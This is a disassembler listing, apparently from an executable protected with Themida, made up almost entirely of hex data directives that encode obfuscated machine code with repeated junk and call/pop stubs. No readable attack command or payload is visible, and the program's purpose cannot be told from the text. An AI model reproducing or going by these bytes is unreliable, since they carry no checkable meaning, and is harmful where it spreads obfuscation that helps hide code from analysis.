dd 381h, 0D98B6600h, 6A04E180h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 5BAAC350h, 0F3754FBh dd 0C90ADEB7h, 194840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0B70FA4C3h, 51858BDEh dd 6A07E406h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 701EC350h, 20298533h, 6A07E4h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 4ED552C3h, 9771CAB7h, 8A0FD563h, 1Bh, 12E8h, 2F19E400h dd 14083773h, 0A06B20Bh, 8F75F034h, 0F13FBF8h, 2B5FDFBFh dd 0E418FD9Dh, 0E18D8907h, 9007E413h, 7E9h, 87022F00h dd 90B1D280h, 8BF6650h, 6A90AAh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0B7F086C3h, 0A74CD64Ch dd 0FE91A0Eh, 5C000000h, 89EDD51h, 0E1534D85h, 2F10D72h dd 6AA5A9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 35C35040h, 1A6F3BEAh, 0A3E4AF1Dh, 207D8589h, 4E807E4h dd 0FF000000h, 0B3001F03h, 448B50FAh, 0D98B0424h, 8B66008Bh dd 244489DEh, 0C4BB6604h, 0FE8584Eh, 9B000000h, 694CC070h dd 3E4EEA66h, 675BF610h, 9D8B73CFh, 7E432A9h, 9995FF5Fh dd 6A07E42Dh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 1212C353h, 1B9D9D8Bh, 858907E4h dd 7E7F8A5h, 8D89D98Bh, 7E409E1h, 1C3E9h, 0E6BA6000h, 89531336h dd 0E431E18Dh, 858B6107h, 7E7F89Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0FDC35343h, 1800C7A5h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 0E922C352h, 11h, 817EF96Ch, 0BD605DAh, 0C74B524h dd 0E7C6F35Ah, 0A1B58B61h, 6A07E7F8h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0E1E6C356h dd 2907870Fh, 0E401F585h, 858BF807h, 7E40099h, 5059501h dd 68907E4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 5DC35343h, 8659824Bh, 1953155h, 107E427h, 0E42AA58Dh dd 51858B07h, 6A07E406h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0A541C350h, 69BE009h dd 0B3619281h, 359D2958h, 8907E42Ah, 9D290446h, 7E4272Dh dd 0BBBF6696h, 8996507Bh, 0E4070185h, 0FB8B6607h, 0F89DB5FFh dd 0F0BB07E7h, 892D2A8Ah, 0E432F185h, 27D66807h, 0F6082DEh dd 28Ah, 60D78B00h, 61615953h, 29240481h, 8B7D40DCh, 0E414A5BDh dd 0DAB70F07h, 0F8A5858Dh, 6A07E7h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0E8E466C3h dd 0E76D5D31h, 68E0FAEh, 89000000h, 0E42DC9B5h, 0CE95007h dd 86000000h, 68FE37Bh, 47B6BD0Dh, 8958CEAFh, 6A2404h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 28AFD1C3h, 2D9995FFh, 0BD3307E4h, 7E40AF1h, 53006A61h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0BC8B0F35h, 0E309263Fh, 1830Fh, 0C7FC0000h, 0E422B985h dd 307h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 9D89D676h, 7E429F1h, 0F8A5BD83h dd 0F0007E7h, 4A84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 950951F4h, 7E40A8Dh, 3DE9h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0D9BD8B9Dh, 5007E417h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 0B8281FC3h dd 8960C463h, 0E413A18Dh, 0A5B58B07h, 6107E405h, 25A99D31h dd 0BD8307E4h, 7E422B9h, 92850F03h, 0E9000004h, 0Fh, 429E17ADh dd 3EF27B47h, 9837036Ch, 83E67CACh, 0E7F8A5BDh, 840F0007h dd 471h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 43C35141h, 0EBB9FA51h, 674AE348h, 0A5B5FFC4h, 0F07E7F8h dd 684h, 0B5EB8100h, 0FF21FC10h, 0E4044D95h, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 10E90AE2h, 58000000h, 28A7D649h, 4704CAD0h, 3E50B9Dh dd 8B0639FEh, 0E7F899B5h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 6C7DF02h, 10001h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0AC35040h dd 8BDD2517h, 0E42D81BDh, 96DF8B07h, 0AE86053h, 0FF000000h dd 0E94A85DFh, 0C12607D6h, 5F61595Ah, 0FE8B6650h, 89505296h dd 0E407AD95h, 535B5B07h, 0FB8B6651h, 0B5FF5B5Fh, 7E7F8A5h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0BBC35747h dd 6FD2BE13h, 0BD8B560Bh, 7E41275h, 995FF5Bh, 6A07E42Ah dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 0CE2DC350h, 76118E2Eh, 8D8938E4h, 7E407ADh dd 0F899B58Bh, 6A07E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 0B3C8F2C3h, 0F5D2FC57h, 0BF66503Ah dd 8B5B735Bh, 0E4316585h, 0DFB70F07h, 0C48689F8h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 4DE4C356h, 8B66AE3Ch, 71958BDAh, 107E41Bh dd 0E41F11BDh, 4C28307h, 0FE9h, 9CA00C00h, 32D61AEEh, 1BD232B5h dd 0FB914BFAh, 28D0Fh, 0DF8B0000h, 6A205089h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 257C356h, 0D9B9781Fh, 40C783FDh, 0B0D9D8Bh, 858D07E4h dd 7E80CD4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 1DC35747h, 0DF2BF3B5h, 9D2BF511h, 7E431A9h, 192D9D89h dd 868907E4h, 0B8h, 0C51EF0BBh, 0F096BF7Eh, 6A2038h, 0F18589h dd 0B5FF07E4h, 7E7F8A5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 34C35545h, 0FD125AC5h, 0AD95FFCEh, 0E807E431h dd 5, 47DCEE86h, 5BB1B365h, 50DA8B96h, 2FBBBB60h, 0FFB5659Ch dd 12E99661h, 4000000h, 0EA781AB0h, 75A2E360h, 92C5BCB9h dd 0FB87833Dh, 0A5B5FFE0h, 6A07E7F8h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 68FBC350h dd 0CFE6E65Fh, 0CB81BBF8h, 24BEC559h, 1B1195FFh, 0BD8B07E4h dd 7E40925h, 0DF9BD83h, 0F0007E4h, 7884h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 0BCF261B5h, 360C10D4h, 0AE8h, 44947900h, 0E31FB370h dd 0E9C90613h, 14h, 980036CDh, 0E16AA8FFh, 706450EBh, 0D3EF5393h dd 5BA9F0D8h, 8B66965Fh, 0BB6650DAh, 6A96E2E6h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 4802C356h, 6881010h, 0A5B5FFA0h, 8907E7F8h, 0E426C9B5h dd 0F7816607h, 95FF0380h, 7E4027Dh, 0F8A5B5FFh, 6A07E7h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 73A593C3h, 0F19D8B52h, 5F07E419h, 97195FFh, 6A07E4h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0CF4993C3h, 5798529h, 0BD8307E4h, 7E40A21h, 62840F02h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 28E0C353h, 24473513h, 8B1632B1h dd 0E423899Dh, 0B5858B07h, 0BF07E41Eh, 6227F8C6h, 6A0000C6h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 0F77AC353h, 39F5CB3Fh, 8B36F203h, 0E405F99Dh dd 7185C707h, 7E426h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0ADFCC350h, 0F307E909h dd 0D0BBFFFFh, 8B08298Eh, 50006AC1h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0EF00C301h dd 85858DF5h, 6A07E40Dh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 7E47C352h, 95903ABBh dd 9E9502Fh, 92000000h, 64631886h, 0FDDC4C25h, 0F240489h dd 6AFABFh, 0BA5B509h, 6A07E4h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 6EC35646h, 95898114h, 7E41945h dd 0EBCB858Dh, 6A07E8h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 9A9250C3h, 843FEA11h, 5C083D4h dd 0E3D8531h, 665007E4h, 8999CDBBh, 6A2404h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0FB658AC3h dd 860F660Eh, 6, 20998589h, 6A07E4h, 0BD23DE8Bh, 7E41275h dd 8166006Ah, 0FF3A90E3h, 0E4247195h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0F549AB6Fh, 273062BFh, 4B8D8D0Eh, 0BB07E7D6h, 2FE2B517h dd 8B56D1FFh, 0E42B099Dh, 0F605F07h, 38Dh, 0F08B6600h dd 53ECB866h, 15BD8361h, 107E420h, 80850Fh, 9D8B0000h dd 7E407A1h, 6A026Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 0D78166C3h, 311FC996h, 0FE68BB90h dd 50505696h, 0FF98B52h, 3BB6631h, 90585A45h, 6E8h, 0C99C7100h dd 0B8C7FF3h, 0E42FA59Dh, 95FF5F07h, 7E431ADh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 55C35343h, 0E956F954h dd 6, 11048C94h, 0FE947ACh, 0E800000Dh, 0 aBaIsJ db ']νΥλθ',7,'j',0 db 52h, 0E8h, 3 dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 8EB6C352h, 6AB4F2E9h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 84F5C352h, 56EC00CAh dd 9E9h, 7EDF5200h, 0E5D8CE2Fh, 8D5B78F2h, 0E7C6E185h dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 2303F887h, 6676DAC8h, 17B3D88Bh, 60536050h dd 52505861h, 8E0Fh, 310F0000h, 310F5250h, 585A585Ah, 24048961h dd 0B055D9BFh, 35FF6421h, 0 dd 15B53160h, 0E907E418h, 8, 0CBB28E71h, 1B9E2E9Eh, 25896461h dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0D7C35646h dd 572D7C89h, 80DD4B86h, 85FFD88Ah, 7E420B9h, 2C31BD89h dd 0FF6A07E4h, 926AA2BBh, 0CE865h, 3C890000h, 9D7BC8CAh dd 0BE788E17h, 9D8B02E9h, 7E420F1h, 0EDB5FF5Fh, 6A07E40Ah dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 0FB1C350h, 95FFDEB7h, 7E4304Dh, 123E9h, 0DEB70F00h dd 0DC8A00B0h, 0E4F970E6h, 4FADBF71h, 613C289Ah, 10A830Fh dd 0B60F0000h, 0A59501C8h, 0BA07E426h, 6, 0C18BDE8Bh, 0E95B5260h dd 0Ch, 0B4C17817h, 0CDDF3750h, 73029C6h, 4E8C161h, 6810Fh dd 8D010000h, 7E413E5h, 7E9h, 2B77600h, 4D287ABFh, 2BE2F766h dd 799531C8h, 8B07E422h, 6BBF66D1h, 6E9D7h, 9D8B0000h dd 7E427A1h, 0AD858Bh, 820F07E4h, 6, 15C9BD89h, 0C08307E4h dd 14E807h, 6D770000h, 7D7AE2C9h, 882BAE14h, 0D343015Bh dd 66E0DE2Ch, 0E85188E3h, 0Ah, 69BE009h, 31619281h, 5B5BDC94h dd 0C0835Bh, 0D03BDA8Bh, 11830Fh, 0B5890000h, 7E41485h dd 53E9h, 99950100h, 8B07E419h, 0E413998Dh, 0FF98B07h dd 486h, 61605600h, 1E1835Fh, 32840Fh, 0A5830000h, 7E41399h dd 13E9FEh, 61520000h, 1424FC71h, 72BB40B7h, 8A4FA64Fh dd 0DA6F7B42h, 0AD9589E3h, 8B07E400h, 0C99D8BDEh, 0E907E415h dd 0 dd 6072B58Dh, 0F6007E8h, 8D09DBBFh, 7E43575h, 84DF8061h dd 0FE8B006Ah, 0E4195FFh, 6A07E4h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 0B7E72CC3h, 5830Fh, 57600000h dd 0B961FC5Eh, 92Fh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0D9C35141h, 9345C10Bh, 0B70F60D6h, 0C9BF0FCEh dd 858D3161h, 8307E40Ah, 0FCFCFCE1h, 59A30DBFh, 6AC02B33h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0BCAFC356h, 0DEC6E863h, 0FABBFD5Ah, 666F2A72h dd 1138C781h, 0BAh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 0B0C1DC10h, 890A5291h dd 0E4252985h, 0C233AD07h, 0D003E8D1h, 7504E983h, 55BD8BF4h dd 0D07E400h, 88h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 80C35141h, 6602BCC0h, 8B0F35BBh, 0E41B7195h dd 67EB8007h, 2DA18D8Bh, 0C78107E4h, 9C8AAAAh, 50FABF0Fh dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 8D9D8B58h dd 6A07E414h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 82BBC356h, 29BD0969h, 8307E426h dd 0E40611BDh, 840F0007h, 56h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 9DC35747h, 9B7EB3A1h, 16F55F4h dd 0E42FBDB5h, 0B8F907h, 8D000000h, 0E44FE78Dh, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 80E1FFACh, 0BD83ABD7h, 7E422B9h, 28840F00h, 6A000004h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 8312C356h, 0E422B9BDh, 840F0107h, 41Ah, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0AAC35545h, 0BD8B5453h dd 7E405F9h, 22B9BD83h, 0F0307E4h, 3B386h, 0BD896000h dd 7E424C5h, 0BD8B6061h, 7E4148Dh, 0FD98C66h, 0A89h, 61606000h dd 2F018D89h, 806107E4h, 6A04E1h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 84504BC3h, 630C4BC7h dd 81E13D78h, 0B3DC70D7h, 0FC90A36h, 13D84h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0C5F48B47h, 51858B1Ah, 6A07E406h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 648FC355h dd 2B4047D1h, 0B5895F4Ah, 7E425F9h, 9E8h, 2C96E400h, 0D2EB9BB3h dd 800FA4BAh, 3, 5FF8B70Fh, 20298533h, 0BD8907E4h, 7E431BDh dd 66525050h, 310FDE8Bh, 2830Fh, 61600000h, 489585Ah, 0DB816624h dd 6A0605h, 8BC3D780h, 0E409D99Dh, 2426807h, 0F98BD9CBh dd 0BD240481h, 8B265401h, 0E415A59Dh, 9995FF07h, 6A07E42Dh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0BBEAC351h, 29A5CA8Ch, 2DE98D89h, 858907E4h dd 7E7F8A5h, 11E9h, 71578E00h, 82443E9Ah, 0BB58FDCCh, 1D6B6AAAh dd 860FD036h, 1Ah, 0CE860h, 29E00000h, 0C950869Ah, 295110AFh dd 8B58F499h, 0E40B01BDh, 9E96107h, 6A000002h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 0ED05C350h, 116D8F10h, 858BFE8Ah, 7E7F89Dh, 0A1DB589h dd 0C707E4h, 18h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0C1C35242h, 89677739h, 0E404E595h, 0CE907h, 0BC320000h dd 104C3994h, 260B08F4h, 0B58B0E8Dh, 7E7F8A1h, 99858BF8h dd 6A07E400h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0F73CC355h, 0E205EEE1h, 0DD9D891Eh dd 8907E403h, 0E41A2D85h, 6A068907h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 7225C352h dd 9B38189h, 0E42165B5h, 19880F07h, 0E9000000h, 14h, 0A2CD83E3h dd 8087022Fh, 9290B1D2h, 38FFA8DAh, 0F969A9BEh, 651858Bh dd 6A07E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 15F750C3h, 0A8BC46E7h, 66044689h, 5050F88Bh dd 8F0F6052h, 0 dd 0AE8h, 0AFACB900h, 0B4D3CB5Dh, 58DAB56Ah, 66310F61h dd 5A5C60BFh, 24348958h, 0FFFFB70Fh, 0E7F89DB5h, 4E8F507h dd 0FF000000h, 50001F03h, 0EE852h, 6AE20000h, 71941453h dd 259E70B9h, 0EFAAAEh, 0F5B39B3h, 0F88B6631h, 0F50585Ah dd 168Bh, 10E800h, 0A0370000h, 7341B011h, 3D77DF21h, 7182F3D6h dd 8B5F47DFh, 0B3042444h, 8B008B1Fh, 244489FBh, 8B665804h dd 0A5858DF8h, 6A07E7F8h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 9AF1C350h, 5090F88Bh dd 0DF79BF52h, 310F0222h, 1200BB66h, 0BF50585Ah, 6FA2B781h dd 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 86183391h, 0E75F6FE6h, 95FF6EF0h, 7E42D99h dd 859D3361h, 0C707E422h, 0E422B985h, 307h, 0FED78000h dd 0F8A5BD83h, 0F0007E7h, 1784h, 0C19D8B00h, 0E907E401h dd 27h, 279BD89h, 9D8B07E4h, 7E432E9h, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 66C08B00h, 831163BBh dd 0E422B9BDh, 850F0307h, 40Ah, 356DBD29h, 0BD8307E4h dd 7E7F8A5h, 0F7840F00h, 6A000003h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0FF03C350h dd 8E88A82Dh, 0FF92654Bh, 0E7F8A5B5h, 4D95FF07h, 8B07E404h dd 0E415C59Dh, 99B58B07h, 6A07E7F8h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0FCCC351h dd 106C7B8h, 6A000100h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0B83FC352h, 870F5030h dd 5, 0AE57C9BBh, 24348922h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 4AC35040h, 5958989h, 0FF07E409h dd 0E7F8A5B5h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1704h, 0C3524200h, 64595076h, 60FAB70Fh dd 211B589h, 896007E4h, 0E42EC585h, 14E907h, 36CD0000h dd 0A8FF9800h, 50EBE16Ah, 53937064h, 0F0D8D3EFh, 61615BA9h dd 2A0995FFh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 66A562C3h, 15E5DF81h, 0F899B58Bh dd 6A07E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 5E9B3C3h, 0B8000000h, 7D24D3FBh, 3165858Bh dd 6A07E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 719F7AC3h, 0DB4C2A52h, 8BFC33BAh, 0C48689DFh dd 0F000000h, 181h, 958BF800h, 7E41B71h, 0EE860h, 0CCA30000h dd 7AC67C8Ch, 65442799h, 5772B3F5h, 0F158D29h, 0F5807E4h dd 8361D9BFh, 6A04C2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0C50BBDC3h, 3205089h, 0E42A399Dh dd 0D4858D07h, 6A07E80Ch, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 0B7DBC355h, 0B886895Fh dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 66F9C352h, 6ADF8Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 8DC35545h, 7B63FDF9h dd 0E936BFEEh, 5, 0E8B4195Bh, 0A5B5FF21h, 6A07E7F8h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 398C357h, 0BB96AD83h, 0AE8F578h, 0CB000000h, 3A205C6Bh dd 223CA15Ch, 95FF5B79h, 7E431ADh, 1EBBF381h, 66962718h dd 50B937BFh, 0BE8h, 0F858E400h, 5B06058Ah, 8AD98C17h dd 6A965Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 0C9F5DBC3h, 0FF570E5Ah, 0E7F8A5B5h, 0E5BD8907h dd 0FF07E423h, 0E41B1195h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 666B4CDAh dd 8344C8BBh, 0E40DF9BDh, 840F0007h, 28h, 1871BD89h, 569607E4h dd 505F9EB3h, 0F810Fh, 0AE90000h, 3E000000h, 0B015168Dh dd 682C6585h, 0BF669696h, 9B75FA3h, 0F8A5B5FFh, 6A07E7h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0E8BB26C3h, 7D95FFEEh, 0FF07E402h, 0E7F8A5B5h, 68C0F07h dd 89000000h, 0E4068D85h, 7195FF07h, 0BF07E409h, 3C264CFCh dd 0BD835F51h, 7E40A21h, 4C840F02h, 33000000h, 0E41B659Dh dd 0B5858B07h, 8B07E41Eh, 0E42C319Dh, 0C607h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 97C35242h, 0D0E0583Ch dd 12E9h, 52843D00h, 0CE2F7EDFh, 78F2E5D8h, 608BC312h dd 0C790737Ah, 0E4267185h, 7, 8E900h, 0D2B90000h, 0FE170D90h dd 2FE998E5h, 66FFFFF4h, 0CFB2D781h, 6AC18Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 708B33C3h dd 1DFFB350h, 0FE946E2h, 9D000000h, 0DECE9DB0h, 0CD064FD2h dd 47105587h, 858D7819h, 7E40D85h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 96C35242h, 0B443945Eh, 8E0Fh dd 0BF500000h, 544B41E7h, 60240489h, 0E9FEB70Fh, 12h, 4BF87FBFh dd 2495CB1Fh, 95DA318Fh, 36B301Dh, 6A616D24h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 2DEBFC5Eh, 0BB26A59Ch, 3A0EB515h, 6A006Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 6FD6C1C3h dd 53E3D4Fh, 0FB71858Dh, 8B0F07E8h, 2, 0C083FE8Ah, 8CC38005h dd 50F98B90h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 121E85BBh, 0EE9h, 43D4AD00h, 6677E274h dd 0EB4F0DD8h, 6AC77996h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 1BFD2161h dd 0DA8B661Fh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 1CD89FC3h, 0FB70B37h, 86h, 0A19D8B00h dd 0FF07E418h, 0E4247195h, 0D1958907h, 8D07E40Ah, 0E7D64B8Dh dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 0E60B48A3h, 7E8h db 0 byte_5D1EDD db 0ACh, 0FEh, 0ACh ; DATA XREF: Themida_:00582F4Co dd 6D16D5AAh, 6870Fh, 9D8B0000h, 7E425D5h, 6600BB5Fh, 0D1FF36D6h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 68C35545h dd 834EAFC7h, 0E42015BDh, 850F0107h, 0D8h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0AEC35141h, 72BC90BBh dd 30A108DAh, 0AC1BD89h, 26A07E4h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0A0C35242h, 8892B95h, 0E9075686h dd 13h, 0EEC9817Fh, 4714745Dh, 9730996Dh, 6E28F558h, 3AC05D8h dd 0E424C1BDh, 52509007h, 28F0Fh, 61600000h, 0BF66310Fh dd 585AF6E4h, 4880F50h, 66000000h, 90C81EBBh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 48C35646h, 2998589h dd 95FF07E4h, 7E431ADh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0DEC35141h, 8631A36Ch, 0B989DAFDh, 0DC4E9h dd 0E800h, 815D0000h, 0E8FB7BEDh, 8B66F907h, 0E1858DDEh dd 6A07E7C6h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0DF4FC353h, 0CB52D855h, 419B31FEh dd 22719529h, 509007E4h, 8990F88Bh, 0E4186985h, 0D9BD8B07h dd 6407E42Eh, 35FFh, 0BABF0000h, 64208852h, 2589h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 214B6AC3h, 85899047h, 7E420F1h, 20B985FFh, 0FF6A07E4h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 44C35040h dd 0BA7F7122h, 1000BF66h, 5CCCC781h, 0B5FF0E84h, 7E402D5h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 39C35646h dd 0A2228744h, 26859D8Bh, 8A0F07E4h, 3, 0FF95CF80h, 0E4304D95h dd 153E907h, 95890000h, 7E41695h, 89958B60h, 8907E409h dd 0E408A1BDh, 0B06107h, 0DE05DB81h, 70E61D13h, 71E4FB8Bh dd 0CE9h, 3671F00h, 0D65B1740h, 3C4ED891h, 0F613C21h, 11883h dd 0B1952900h, 8B07E422h, 0C8B60FF9h, 2669BD8Bh, 6BA07E4h dd 57000000h, 0A752C381h, 8B5B1847h, 6E8C1h, 0EA570000h dd 5FC80E45h, 2AB59D0Bh, 0F5B07E4h, 384h, 0D8BF0F00h, 8104E8C1h dd 0ADFCD7C3h, 0E2F7667Eh, 2BFE8B66h, 0D99D89C8h, 0B307E420h dd 8AD18BE1h, 9E8DEh, 87280000h, 0FAAEB506h, 0F439360h dd 686h, 95B58900h, 5B07E409h, 0A0E9h, 0CE86000h, 0A3000000h dd 0E93BDCE2h, 0F9EA2305h, 66F2861Ch, 615AF88Bh, 8858Bh dd 31600000h, 0E42B4DB5h, 0A9852907h, 6107E423h, 0F507C083h dd 0E900C083h, 0Dh, 275FAF1Eh, 0F41CA7BAh, 2FC4FFA4h, 0FD03BB4h dd 0F83h, 998D0100h, 0E907E422h, 49h, 0F4CABF66h, 0FFFF8D8Bh dd 890FFFFFh, 6, 0F959D8Bh, 0E18307E4h, 2A840F01h, 0BB000000h dd 0CBDEA28h, 0FFFFA583h, 0F9FEFFFFh, 89589h, 0BD330000h dd 7E4334Dh, 68C0Fh, 0BD2B0000h, 7E4087Dh, 0E9h, 5BB58D00h dd 6A07E87Ah, 3E85700h, 20000000h, 